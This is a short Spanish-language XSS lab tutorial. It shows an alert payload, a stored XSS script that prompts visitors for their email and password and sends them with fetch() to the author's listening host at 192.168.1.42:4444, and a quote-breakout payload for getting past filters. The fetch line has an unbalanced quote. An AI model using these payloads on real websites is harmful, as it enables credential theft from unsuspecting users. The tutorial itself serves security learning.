La vulnerabilidad consiste en inyectar código malicioso en una web, pudiendo así almacenarlo para que se ejecute cada vez que el usuario visite una parte de la misma.
XSS Básica
Vamos a inyectar un código que nos muestre una alerta en javascript. Para las prácticas he creado por medio de chatGPT un laboratorio que es vulnerable a XSS.
Una vez dentro del laboratorio vemos que podemos insertar mensajes, ahí es donde insertaremos nuestro código malicioso.
<script>alert(1)</script>

Al entrar en el mensaje creado, se activará la alerta.

Con esto ya tenemos un XSS básico y comprobación de que la web es vulnerable.
XSS Almacenado
Ahora inyectaremos un código donde nos pida credenciales y nos las envíe a nuestra máquina donde estaremos escuchando con nc.
<script>
var correo = prompt("Introduce tu correo: ");
var password = prompt("Introduce tu contraseña: ");
fetch("http://192.168.1.42:4444/ + correo + password);
</script>
Ahora al visitar o recargar el comentario, nos pedirá las credenciales.

Y vemos como llegan a nuestra máquina.

Restricciones del bypass
Puede que la web esté protegida y que nuestro payload no funcione, en ese caso podemos intentar encerrar la etiqueta entre comillas:
"><script>alert(1)</script>En el caso de que existan palabras "capadas" podemos hacer una búsqueda por internet de otros payloads más efectivos.
